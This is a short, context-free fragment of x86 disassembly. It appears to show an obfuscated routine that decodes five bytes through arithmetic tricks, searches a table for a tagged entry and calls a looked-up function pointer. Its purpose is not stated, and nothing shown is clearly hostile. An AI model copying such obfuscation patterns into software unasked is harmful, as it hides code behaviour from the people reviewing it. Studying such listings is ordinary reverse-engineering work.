and ebx, 1
xor ebx, 0xfdd18721
mov esi, eax
and esi, 6
sub esi, ebx
lea ebx, [edx + edx]
not ebx
add ebx, edx
mov ecx, 0x73fca807
sub ecx, esi
or ecx, ebx
add ecx, esi
add ecx, 0x8c0357f9
mov ebx, 7
sub ebx, esi
and ebx, edx
or ebx, ecx
mov ecx, ebx
and ecx, 0x4c
xor ebx, 0xcc
lea ecx, [ebx + ecx*2]
inc cl
mov byte [esp + eax], cl
inc eax
cmp eax, 5
jne 0x440b50
mov eax, dword [esp]
mov edx, dword [0x4528cc]
test edx, edx
je 0x440bf7
xor esi, esi
mov ebx, dword [0x4528d0]
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + esi*8], 0x64567875
je 0x440bd0
inc esi
cmp edx, esi
jne 0x440bc0
jmp 0x440bf7
mov edx, dword [ebx + esi*8 + 4]
cmp edx, eax
je 0x440bf7
push edi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 8]
push dword [esp + 0x18]
push 5
push dword [0x4528d4]
push edx
call fcn.004428e0
add esp, 0x20
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 0x18